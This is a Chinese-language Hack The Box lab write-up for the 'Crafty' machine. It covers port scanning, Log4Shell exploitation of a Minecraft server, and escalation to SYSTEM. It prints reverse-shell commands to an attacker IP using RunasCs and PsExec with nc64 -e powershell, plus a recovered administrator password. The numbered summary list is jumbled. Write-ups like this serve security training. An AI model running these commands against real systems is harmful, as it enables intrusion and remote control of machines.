HTB Crafty靶机实战：Log4Shell漏洞利用与多层级权限提升分析

本文基于网络安全领域专家的实战演示视频，通过详细复现HTB Crafty靶机的渗透过程，系统性地展示了从初始信息收集到最终系统权限获取的全链条攻击路径。由于网络环境限制，本次操作直接参照视频流程进行，过程中遇到的技术难点均已记录，旨在为读者提供可复用的渗透测试方法论。
视频参考资料：
网络安全实战：HTB Crafty靶机深度解析 – Log4Shell漏洞利用与权限提升技巧

一、目标探测与端口扫描

网络环境配置：
– 攻击平台：Kali Linux (tun0网卡)
– 目标IP：10.129.25.171
– 系统类型：Windows Server
端口扫描结果：

sudo nmap -sT --min-rate 10000 -p- 10.129.25.171

发现开放服务：
– 80端口：IIS 10.0 Web服务
– 25565端口：Minecraft游戏服务

详细服务探测：

sudo nmap -sT -sV -sC -p80,25565 10.129.25.171

关键发现：
– 80端口存在域名重定向
– 25565端口运行Minecraft 1.16.5版本

二、Web服务渗透

域名解析配置：

sudo sed -i '1i 10.129.25.171 crafty.htb' /etc/hosts

目录爆破操作：

feroxbuster -u http://crafty.htb -w /usr/share/seclists/Discovery/Web-content/directory-list-lowercase-2.3-medium.txt

子域名探测：

gobuster vhost -u http://crafty.htb --domain crafty.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-11000.txt --append-domain -r

三、游戏服务漏洞利用

Log4Shell漏洞验证：

echo -ne '\xfe\x01' | nc crafty.htb 25565

利用工具准备：
1. 下载Java开发工具包
2. 配置Python漏洞利用脚本
3. 修改payload适配Windows系统
攻击执行：

python3 poc.py --userip 10.10.16.17 --webport 8000 --lport 443

四、权限提升路径

1. 初始立足点获取：

gci -r c:\users\*.txt -ea 0

2. 管理员权限提升：
– 逆向分析Java插件获取凭证
– 使用RunasCs工具进行权限切换

./runascs.exe administrator 's67u84zKq8IXw' powershell -r 10.10.16.17:443 -t 0

3. SYSTEM权限获取：
– 使用PsExec工具进行最终提权

./psexec64.exe -accepteula -i -s cmd.exe /c "c:\programdata\apps\nc64.exe 10.10.16.17 443 -e powershell.exe"

五、技术要点总结

1. 漏洞利用链：
2. Log4Shell远程代码执行
3. Java反编译获取敏感信息
4. 凭证复用攻击
5. 权限提升技巧：
6. 横向移动方法
7. 权限维持技术
8. 系统服务滥用
9. 防御建议：
10. 及时更新Log4j组件
11. 实施最小权限原则
12. 加强日志监控
    本次渗透测试历时约6小时，完整复现了从外网渗透到内网提权的全过程。通过这个案例，我们可以深入理解现代网络攻击的复杂性和防御的重要性。